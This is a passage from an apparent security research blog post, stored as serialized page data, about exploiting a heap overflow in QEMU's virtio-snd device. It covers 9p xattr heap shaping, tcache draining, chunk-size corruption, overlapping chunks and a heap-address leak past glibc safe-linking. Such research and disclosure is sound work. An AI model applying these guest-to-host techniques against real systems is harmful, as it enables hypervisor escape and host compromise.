"props":127069,"children":127070},{"style":523},[127071],{"type":28,"value":127072}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":504,"props":127074,"children":127075},{"class":506,"line":1400},[127076,127081,127085,127089],{"type":23,"tag":504,"props":127077,"children":127078},{"style":523},[127079],{"type":28,"value":127080},"        err ",{"type":23,"tag":504,"props":127082,"children":127083},{"style":598},[127084],{"type":28,"value":601},{"type":23,"tag":504,"props":127086,"children":127087},{"style":598},[127088],{"type":28,"value":50234},{"type":23,"tag":504,"props":127090,"children":127091},{"style":523},[127092],{"type":28,"value":127093},"E2BIG;\n",{"type":23,"tag":504,"props":127095,"children":127096},{"class":506,"line":1422},[127097,127101],{"type":23,"tag":504,"props":127098,"children":127099},{"style":544},[127100],{"type":28,"value":127019},{"type":23,"tag":504,"props":127102,"children":127103},{"style":523},[127104],{"type":28,"value":127024},{"type":23,"tag":504,"props":127106,"children":127107},{"class":506,"line":1450},[127108],{"type":23,"tag":504,"props":127109,"children":127110},{"style":523},[127111],{"type":28,"value":875},{"type":23,"tag":504,"props":127113,"children":127114},{"class":506,"line":1463},[127115],{"type":23,"tag":504,"props":127116,"children":127117},{"emptyLinePlaceholder":16},[127118],{"type":28,"value":1038},{"type":23,"tag":504,"props":127120,"children":127121},{"class":506,"line":1485},[127122],{"type":23,"tag":504,"props":127123,"children":127124},{"style":523},[127125],{"type":28,"value":103552},{"type":23,"tag":504,"props":127127,"children":127128},{"class":506,"line":1503},[127129],{"type":23,"tag":504,"props":127130,"children":127131},{"emptyLinePlaceholder":16},[127132],{"type":28,"value":1038},{"type":23,"tag":504,"props":127134,"children":127135},{"class":506,"line":1516},[127136,127140,127144,127148,127153,127157,127161,127165,127170,127174,127178],{"type":23,"tag":504,"props":127137,"children":127138},{"style":517},[127139],{"type":28,"value":126908},{"type":23,"tag":504,"props":127141,"children":127142},{"style":523},[127143],{"type":28,"value":526},{"type":23,"tag":504,"props":127145,"children":127146},{"style":598},[127147],{"type":28,"value":2086},{"type":23,"tag":504,"props":127149,"children":127150},{"style":529},[127151],{"type":28,"value":127152},"xattr_fidp",{"type":23,"tag":504,"props":127154,"children":127155},{"style":523},[127156],{"type":28,"value":12738},{"type":23,"tag":504,"props":127158,"children":127159},{"style":529},[127160],{"type":28,"value":35959},{"type":23,"tag":504,"props":127162,"children":127163},{"style":523},[127164],{"type":28,"value":320},{"type":23,"tag":504,"props":127166,"children":127167},{"style":529},[127168],{"type":28,"value":127169},"xattr",{"type":23,"tag":504,"props":127171,"children":127172},{"style":523},[127173],{"type":28,"value":320},{"type":23,"tag":504,"props":127175,"children":127176},{"style":529},[127177],{"type":28,"value":47477},{"type":23,"tag":504,"props":127179,"children":127180},{"style":523},[127181],{"type":28,"value":630},{"type":23,"tag":504,"props":127183,"children":127184},{"class":506,"line":1543},[127185,127190,127194,127198,127202,127206,127210,127214,127218,127222,127226,127230,127234],{"type":23,"tag":504,"props":127186,"children":127187},{"style":517},[127188],{"type":28,"value":127189},"    v9fs_string_copy",{"type":23,"tag":504,"props":127191,"children":127192},{"style":523},[127193],{"type":28,"value":526},{"type":23,"tag":504,"props":127195,"children":127196},{"style":598},[127197],{"type":28,"value":2086},{"type":23,"tag":504,"props":127199,"children":127200},{"style":529},[127201],{"type":28,"value":127152},{"type":23,"tag":504,"props":127203,"children":127204},{"style":523},[127205],{"type":28,"value":12738},{"type":23,"tag":504,"props":127207,"children":127208},{"style":529},[127209],{"type":28,"value":35959},{"type":23,"tag":504,"props":127211,"children":127212},{"style":523},[127213],{"type":28,"value":320},{"type":23,"tag":504,"props":127215,"children":127216},{"style":529},[127217],{"type":28,"value":127169},{"type":23,"tag":504,"props":127219,"children":127220},{"style":523},[127221],{"type":28,"value":320},{"type":23,"tag":504,"props":127223,"children":127224},{"style":529},[127225],{"type":28,"value":47477},{"type":23,"tag":504,"props":127227,"children":127228},{"style":523},[127229],{"type":28,"value":576},{"type":23,"tag":504,"props":127231,"children":127232},{"style":598},[127233],{"type":28,"value":2086},{"type":23,"tag":504,"props":127235,"children":127236},{"style":523},[127237],{"type":28,"value":126921},{"type":23,"tag":504,"props":127239,"children":127240},{"class":506,"line":1583},[127241,127246,127250,127254,127258,127262,127266,127270,127274,127278],{"type":23,"tag":504,"props":127242,"children":127243},{"style":529},[127244],{"type":28,"value":127245},"    xattr_fidp",{"type":23,"tag":504,"props":127247,"children":127248},{"style":523},[127249],{"type":28,"value":12738},{"type":23,"tag":504,"props":127251,"children":127252},{"style":529},[127253],{"type":28,"value":35959},{"type":23,"tag":504,"props":127255,"children":127256},{"style":523},[127257],{"type":28,"value":320},{"type":23,"tag":504,"props":127259,"children":127260},{"style":529},[127261],{"type":28,"value":127169},{"type":23,"tag":504,"props":127263,"children":127264},{"style":523},[127265],{"type":28,"value":320},{"type":23,"tag":504,"props":127267,"children":127268},{"style":529},[127269],{"type":28,"value":38128},{"type":23,"tag":504,"props":127271,"children":127272},{"style":598},[127273],{"type":28,"value":648},{"type":23,"tag":504,"props":127275,"children":127276},{"style":517},[127277],{"type":28,"value":122924},{"type":23,"tag":504,"props":127279,"children":127280},{"style":523},[127281],{"type":28,"value":127282},"(size);\n",{"type":23,"tag":504,"props":127284,"children":127285},{"class":506,"line":1605},[127286],{"type":23,"tag":504,"props":127287,"children":127288},{"style":523},[127289],{"type":28,"value":884},{"type":23,"tag":24,"props":127291,"children":127292},{},[127293,127295,127300,127302,127307,127308,127313,127315,127320],{"type":28,"value":127294},"Because the ",{"type":23,"tag":56,"props":127296,"children":127298},{"className":127297},[],[127299],{"type":28,"value":126656},{"type":28,"value":127301}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":56,"props":127303,"children":127305},{"className":127304},[],[127306],{"type":28,"value":126656},{"type":28,"value":430},{"type":23,"tag":56,"props":127309,"children":127311},{"className":127310},[],[127312],{"type":28,"value":126663},{"type":28,"value":127314},", not just the ",{"type":23,"tag":56,"props":127316,"children":127318},{"className":127317},[],[127319],{"type":28,"value":126663},{"type":28,"value":127321}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":127323,"children":127324},{},[127325,127326,127331],{"type":28,"value":15592},{"type":23,"tag":56,"props":127327,"children":127329},{"className":127328},[],[127330],{"type":28,"value":126663},{"type":28,"value":127332}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":127334,"children":127335},{},[127336,127338,127343,127345,127351,127353,127359,127361,127367],{"type":28,"value":127337},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":56,"props":127339,"children":127341},{"className":127340},[],[127342],{"type":28,"value":126663},{"type":28,"value":127344}," buffer through a ",{"type":23,"tag":56,"props":127346,"children":127348},{"className":127347},[],[127349],{"type":28,"value":127350},"P9_TWRITE",{"type":28,"value":127352}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":56,"props":127354,"children":127356},{"className":127355},[],[127357],{"type":28,"value":127358},"P9_TREAD",{"type":28,"value":127360},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":56,"props":127362,"children":127364},{"className":127363},[],[127365],{"type":28,"value":127366},"P9_TCLUNK",{"type":28,"value":127368}," request on that same FID.",{"type":23,"tag":24,"props":127370,"children":127371},{},[127372,127374,127380],{"type":28,"value":127373},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":56,"props":127375,"children":127377},{"className":127376},[],[127378],{"type":28,"value":127379},"65536",{"type":28,"value":127381}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":82,"props":127383,"children":127385},{"id":127384},"setting-the-heap-layout",[127386],{"type":28,"value":127387},"Setting the Heap Layout",{"type":23,"tag":24,"props":127389,"children":127390},{},[127391,127393,127398],{"type":28,"value":127392},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":56,"props":127394,"children":127396},{"className":127395},[],[127397],{"type":28,"value":126663},{"type":28,"value":127399}," allocations, like this:",{"type":23,"tag":494,"props":127401,"children":127403},{"code":127402},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127404],{"type":23,"tag":56,"props":127405,"children":127406},{"__ignoreMap":7},[127407],{"type":28,"value":127402},{"type":23,"tag":24,"props":127409,"children":127410},{},[127411,127413,127418,127420,127425,127427,127432],{"type":28,"value":127412},"This lets us later create holes by freeing every other ",{"type":23,"tag":56,"props":127414,"children":127416},{"className":127415},[],[127417],{"type":28,"value":126663},{"type":28,"value":127419}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":56,"props":127421,"children":127423},{"className":127422},[],[127424],{"type":28,"value":123011},{"type":28,"value":127426}," field of the next live ",{"type":23,"tag":56,"props":127428,"children":127430},{"className":127429},[],[127431],{"type":28,"value":126663},{"type":28,"value":127433}," chunk.",{"type":23,"tag":24,"props":127435,"children":127436},{},[127437],{"type":28,"value":127438},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":127440,"children":127441},{},[127442,127444,127449,127451,127456,127458,127463,127465,127470],{"type":28,"value":127443},"As mentioned earlier, ",{"type":23,"tag":56,"props":127445,"children":127447},{"className":127446},[],[127448],{"type":28,"value":126700},{"type":28,"value":127450}," always allocates two chunks: one for ",{"type":23,"tag":56,"props":127452,"children":127454},{"className":127453},[],[127455],{"type":28,"value":126656},{"type":28,"value":127457}," and one for ",{"type":23,"tag":56,"props":127459,"children":127461},{"className":127460},[],[127462],{"type":28,"value":126663},{"type":28,"value":127464},". We want to avoid having ",{"type":23,"tag":56,"props":127466,"children":127468},{"className":127467},[],[127469],{"type":28,"value":126656},{"type":28,"value":127471}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":41,"props":127473,"children":127474},{},[127475,127487],{"type":23,"tag":45,"props":127476,"children":127477},{},[127478,127480,127485],{"type":28,"value":127479},"Make ",{"type":23,"tag":56,"props":127481,"children":127483},{"className":127482},[],[127484],{"type":28,"value":126656},{"type":28,"value":127486}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":45,"props":127488,"children":127489},{},[127490,127492,127497,127499,127504,127506,127511],{"type":28,"value":127491},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":56,"props":127493,"children":127495},{"className":127494},[],[127496],{"type":28,"value":126656},{"type":28,"value":127498},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":56,"props":127500,"children":127502},{"className":127501},[],[127503],{"type":28,"value":126656},{"type":28,"value":127505}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":56,"props":127507,"children":127509},{"className":127508},[],[127510],{"type":28,"value":126663},{"type":28,"value":127512}," chunks.",{"type":23,"tag":17874,"props":127514,"children":127516},{"id":127515},"separating-name-allocations",[127517],{"type":28,"value":127518},"Separating .name allocations",{"type":23,"tag":24,"props":127520,"children":127521},{},[127522,127524,127529,127531,127536],{"type":28,"value":127523},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":56,"props":127525,"children":127527},{"className":127526},[],[127528],{"type":28,"value":126700},{"type":28,"value":127530}," for N ",{"type":23,"tag":56,"props":127532,"children":127534},{"className":127533},[],[127535],{"type":28,"value":126656},{"type":28,"value":127537},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":127539,"children":127540},{},[127541,127543,127548,127549,127554,127555,127560,127562,127567,127569,127574],{"type":28,"value":127542},"At this point, we already know that ",{"type":23,"tag":56,"props":127544,"children":127546},{"className":127545},[],[127547],{"type":28,"value":126700},{"type":28,"value":127450},{"type":23,"tag":56,"props":127550,"children":127552},{"className":127551},[],[127553],{"type":28,"value":126656},{"type":28,"value":127457},{"type":23,"tag":56,"props":127556,"children":127558},{"className":127557},[],[127559],{"type":28,"value":126663},{"type":28,"value":127561},". If we simply call it with ",{"type":23,"tag":56,"props":127563,"children":127565},{"className":127564},[],[127566],{"type":28,"value":126663},{"type":28,"value":127568}," sized the same as ",{"type":23,"tag":56,"props":127570,"children":127572},{"className":127571},[],[127573],{"type":28,"value":126656},{"type":28,"value":127575},", we get a layout like this:",{"type":23,"tag":494,"props":127577,"children":127579},{"code":127578},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127580],{"type":23,"tag":56,"props":127581,"children":127582},{"__ignoreMap":7},[127583],{"type":28,"value":127578},{"type":23,"tag":24,"props":127585,"children":127586},{},[127587,127589,127594,127596,127602,127604,127610,127612,127617,127619,127624,127626,127631],{"type":28,"value":127588},"With that heap state, issuing a ",{"type":23,"tag":56,"props":127590,"children":127592},{"className":127591},[],[127593],{"type":28,"value":127366},{"type":28,"value":127595}," request would first free ",{"type":23,"tag":56,"props":127597,"children":127599},{"className":127598},[],[127600],{"type":28,"value":127601},".name A",{"type":28,"value":127603}," and then ",{"type":23,"tag":56,"props":127605,"children":127607},{"className":127606},[],[127608],{"type":28,"value":127609},".value A",{"type":28,"value":127611},". When ",{"type":23,"tag":56,"props":127613,"children":127615},{"className":127614},[],[127616],{"type":28,"value":127609},{"type":28,"value":127618}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":56,"props":127620,"children":127622},{"className":127621},[],[127623],{"type":28,"value":127601},{"type":28,"value":127625}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":56,"props":127627,"children":127629},{"className":127628},[],[127630],{"type":28,"value":126656},{"type":28,"value":127632},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":127634,"children":127635},{},[127636],{"type":28,"value":127637},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":127639,"children":127640},{},[127641,127643,127648,127650,127655,127657,127662,127664,127670,127672,127677,127679,127685],{"type":28,"value":127642},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":56,"props":127644,"children":127646},{"className":127645},[],[127647],{"type":28,"value":126656},{"type":28,"value":127649}," allocation remains fixed at size ",{"type":23,"tag":56,"props":127651,"children":127653},{"className":127652},[],[127654],{"type":28,"value":103818},{"type":28,"value":127656},". We first allocate 16 xattrs whose ",{"type":23,"tag":56,"props":127658,"children":127660},{"className":127659},[],[127661],{"type":28,"value":126663},{"type":28,"value":127663}," size is ",{"type":23,"tag":56,"props":127665,"children":127667},{"className":127666},[],[127668],{"type":28,"value":127669},"0x30",{"type":28,"value":127671},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":56,"props":127673,"children":127675},{"className":127674},[],[127676],{"type":28,"value":126663},{"type":28,"value":127678}," size ",{"type":23,"tag":56,"props":127680,"children":127682},{"className":127681},[],[127683],{"type":28,"value":127684},"0x40",{"type":28,"value":127686},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":127688,"children":127689},{},[127690],{"type":28,"value":127691},"This yields the following layout:",{"type":23,"tag":494,"props":127693,"children":127695},{"code":127694},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[127696],{"type":23,"tag":56,"props":127697,"children":127698},{"__ignoreMap":7},[127699],{"type":28,"value":127694},{"type":23,"tag":24,"props":127701,"children":127702},{},[127703,127705,127710,127712,127717,127719,127724,127726,127731,127733,127738,127740,127745,127746,127751,127753,127758,127760,127765,127767,127772,127774,127779,127781,127786],{"type":28,"value":127704},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":56,"props":127706,"children":127708},{"className":127707},[],[127709],{"type":28,"value":126656},{"type":28,"value":127711}," chunks end up in the ",{"type":23,"tag":56,"props":127713,"children":127715},{"className":127714},[],[127716],{"type":28,"value":103818},{"type":28,"value":127718}," tcache bin, along with the interleaved ",{"type":23,"tag":56,"props":127720,"children":127722},{"className":127721},[],[127723],{"type":28,"value":126663},{"type":28,"value":127725}," chunks of size ",{"type":23,"tag":56,"props":127727,"children":127729},{"className":127728},[],[127730],{"type":28,"value":127669},{"type":28,"value":127732},". The next 16 ",{"type":23,"tag":56,"props":127734,"children":127736},{"className":127735},[],[127737],{"type":28,"value":126656},{"type":28,"value":127739}," chunks are interleaved with ",{"type":23,"tag":56,"props":127741,"children":127743},{"className":127742},[],[127744],{"type":28,"value":126663},{"type":28,"value":127725},{"type":23,"tag":56,"props":127747,"children":127749},{"className":127748},[],[127750],{"type":28,"value":127684},{"type":28,"value":127752},"; when freed, those ",{"type":23,"tag":56,"props":127754,"children":127756},{"className":127755},[],[127757],{"type":28,"value":126663},{"type":28,"value":127759}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":56,"props":127761,"children":127763},{"className":127762},[],[127764],{"type":28,"value":126656},{"type":28,"value":127766}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":56,"props":127768,"children":127770},{"className":127769},[],[127771],{"type":28,"value":126656},{"type":28,"value":127773},"-sized chunks that will later be served to the ",{"type":23,"tag":56,"props":127775,"children":127777},{"className":127776},[],[127778],{"type":28,"value":126656},{"type":28,"value":127780}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":56,"props":127782,"children":127784},{"className":127783},[],[127785],{"type":28,"value":126663},{"type":28,"value":127512},{"type":23,"tag":82,"props":127788,"children":127790},{"id":127789},"corrupting-the-size",[127791],{"type":28,"value":127792},"Corrupting the Size",{"type":23,"tag":24,"props":127794,"children":127795},{},[127796,127798,127803,127805,127810,127812,127817,127819,127824,127825,127830],{"type":28,"value":127797},"The input format is guest-controlled, and we choose ",{"type":23,"tag":56,"props":127799,"children":127801},{"className":127800},[],[127802],{"type":28,"value":2397},{"type":28,"value":127804}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":56,"props":127806,"children":127808},{"className":127807},[],[127809],{"type":28,"value":2397},{"type":28,"value":127811}," is centered at ",{"type":23,"tag":56,"props":127813,"children":127815},{"className":127814},[],[127816],{"type":28,"value":28421},{"type":28,"value":127818}," (rather than ",{"type":23,"tag":56,"props":127820,"children":127822},{"className":127821},[],[127823],{"type":28,"value":124918},{"type":28,"value":124905},{"type":23,"tag":56,"props":127826,"children":127828},{"className":127827},[],[127829],{"type":28,"value":124896},{"type":28,"value":127831},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":127833,"children":127834},{},[127835,127837,127842],{"type":28,"value":127836},"As we already concluded, ",{"type":23,"tag":56,"props":127838,"children":127840},{"className":127839},[],[127841],{"type":28,"value":124361},{"type":28,"value":127843}," is called with the amount:",{"type":23,"tag":494,"props":127845,"children":127847},{"code":127846},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[127848],{"type":23,"tag":56,"props":127849,"children":127850},{"__ignoreMap":7},[127851],{"type":28,"value":127846},{"type":23,"tag":24,"props":127853,"children":127854},{},[127855,127857,127862,127864,127869],{"type":28,"value":127856},"And as mentioned earlier, ",{"type":23,"tag":56,"props":127858,"children":127860},{"className":127859},[],[127861],{"type":28,"value":124392},{"type":28,"value":127863}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":56,"props":127865,"children":127867},{"className":127866},[],[127868],{"type":28,"value":123011},{"type":28,"value":57305},{"type":23,"tag":24,"props":127871,"children":127872},{},[127873,127875,127880,127882,127887],{"type":28,"value":127874},"With the desired heap layout of repeated ",{"type":23,"tag":56,"props":127876,"children":127878},{"className":127877},[],[127879],{"type":28,"value":126565},{"type":28,"value":127881},"-sized ",{"type":23,"tag":56,"props":127883,"children":127885},{"className":127884},[],[127886],{"type":28,"value":126663},{"type":28,"value":127888}," chunks in place, we can then free every other one:",{"type":23,"tag":494,"props":127890,"children":127892},{"code":127891},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[127893],{"type":23,"tag":56,"props":127894,"children":127895},{"__ignoreMap":7},[127896],{"type":28,"value":127891},{"type":23,"tag":24,"props":127898,"children":127899},{},[127900,127902,127907],{"type":28,"value":127901},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":56,"props":127903,"children":127905},{"className":127904},[],[127906],{"type":28,"value":126663},{"type":28,"value":127908}," chunk directly next to it:",{"type":23,"tag":494,"props":127910,"children":127912},{"code":127911},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[127913],{"type":23,"tag":56,"props":127914,"children":127915},{"__ignoreMap":7},[127916],{"type":28,"value":127911},{"type":23,"tag":24,"props":127918,"children":127919},{},[127920,127922,127927,127929,127934],{"type":28,"value":127921},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":56,"props":127923,"children":127925},{"className":127924},[],[127926],{"type":28,"value":126565},{"type":28,"value":127928},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":56,"props":127930,"children":127932},{"className":127931},[],[127933],{"type":28,"value":126663},{"type":28,"value":127935}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":494,"props":127937,"children":127939},{"code":127938},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127940],{"type":23,"tag":56,"props":127941,"children":127942},{"__ignoreMap":7},[127943],{"type":28,"value":127938},{"type":23,"tag":24,"props":127945,"children":127946},{},[127947,127949,127954],{"type":28,"value":127948},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":56,"props":127950,"children":127952},{"className":127951},[],[127953],{"type":28,"value":126580},{"type":28,"value":3472},{"type":23,"tag":494,"props":127956,"children":127958},{"code":127957},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[127959],{"type":23,"tag":56,"props":127960,"children":127961},{"__ignoreMap":7},[127962],{"type":28,"value":127957},{"type":23,"tag":24,"props":127964,"children":127965},{},[127966,127968,127973],{"type":28,"value":127967},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":56,"props":127969,"children":127971},{"className":127970},[],[127972],{"type":28,"value":126580},{"type":28,"value":270},{"type":23,"tag":494,"props":127975,"children":127977},{"code":127976},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[127978],{"type":23,"tag":56,"props":127979,"children":127980},{"__ignoreMap":7},[127981],{"type":28,"value":127976},{"type":23,"tag":24,"props":127983,"children":127984},{},[127985,127987,127993],{"type":28,"value":127986},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":56,"props":127988,"children":127990},{"className":127989},[],[127991],{"type":28,"value":127992},"0x400",{"type":28,"value":127994}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":494,"props":127996,"children":127998},{"code":127997},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127999],{"type":23,"tag":56,"props":128000,"children":128001},{"__ignoreMap":7},[128002],{"type":28,"value":127997},{"type":23,"tag":82,"props":128004,"children":128006},{"id":128005},"leaking-a-heap-address",[128007],{"type":28,"value":128008},"Leaking a Heap Address",{"type":23,"tag":24,"props":128010,"children":128011},{},[128012],{"type":28,"value":128013},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":128015,"children":128016},{},[128017,128019,128025],{"type":28,"value":128018},"To do this, we abuse the forward (",{"type":23,"tag":56,"props":128020,"children":128022},{"className":128021},[],[128023],{"type":28,"value":128024},"fd",{"type":28,"value":128026},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":494,"props":128028,"children":128030},{"code":128029},"fd = next ^ (curr >> 12)\n",[128031],{"type":23,"tag":56,"props":128032,"children":128033},{"__ignoreMap":7},[128034],{"type":28,"value":128029},{"type":23,"tag":24,"props":128036,"children":128037},{},[128038,128040,128045,128046,128051],{"type":28,"value":128039},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":56,"props":128041,"children":128043},{"className":128042},[],[128044],{"type":28,"value":56544},{"type":28,"value":4483},{"type":23,"tag":56,"props":128047,"children":128049},{"className":128048},[],[128050],{"type":28,"value":53474},{"type":28,"value":128052}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":494,"props":128054,"children":128056},{"code":128055},"fd = 0 ^ (curr >> 12)\n",[128057],{"type":23,"tag":56,"props":128058,"children":128059},{"__ignoreMap":7},[128060],{"type":28,"value":128055},{"type":23,"tag":24,"props":128062,"children":128063},{},[128064,128066,128071],{"type":28,"value":128065},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":56,"props":128067,"children":128069},{"className":128068},[],[128070],{"type":28,"value":128024},{"type":28,"value":128072}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":128074,"children":128075},{},[128076],{"type":28,"value":128077},"In the overlap we achieved earlier:",{"type":23,"tag":494,"props":128079,"children":128081},{"code":128080},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[128082],{"type":23,"tag":56,"props":128083,"children":128084},{"__ignoreMap":7},[128085],{"type":28,"value":128080},{"type":23,"tag":24,"props":128087,"children":128088},{},[128089,128091,128097,128099,128105,128107,128113,128115,128120],{"type":28,"value":128090},"We first free ",{"type":23,"tag":56,"props":128092,"children":128094},{"className":128093},[],[128095],{"type":28,"value":128096},".value C",{"type":28,"value":128098}," into tcache and read its contents through the oversized ",{"type":23,"tag":56,"props":128100,"children":128102},{"className":128101},[],[128103],{"type":28,"value":128104},".value Y",{"type":28,"value":128106},". This gives us ",{"type":23,"tag":56,"props":128108,"children":128110},{"className":128109},[],[128111],{"type":28,"value":128112},".value C >> 12",{"type":28,"value":128114},". That is not yet the exact address of ",{"type":23,"tag":56,"props":128116,"children":128118},{"className":128117},[],[128119],{"type":28,"value":128096},{"type":28,"value":128121},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":128123,"children":128124},{},[128125,128127,128132,128134,128139,128141,128146,128148,128153],{"type":28,"value":128126},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":56,"props":128128,"children":128130},{"className":128129},[],[128131],{"type":28,"value":128096},{"type":28,"value":128133},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":56,"props":128135,"children":128137},{"className":128136},[],[128138],{"type":28,"value":128096},{"type":28,"value":128140}," again. This time, ",{"type":23,"tag":56,"props":128142,"children":128144},{"className":128143},[],[128145],{"type":28,"value":56544},{"type":28,"value":128147}," is no longer ",{"type":23,"tag":56,"props":128149,"children":128151},{"className":128150},[],[128152],{"type":28,"value":53474},{"type":28,"value":128154},", but instead points to that controlled chunk, so the encoded 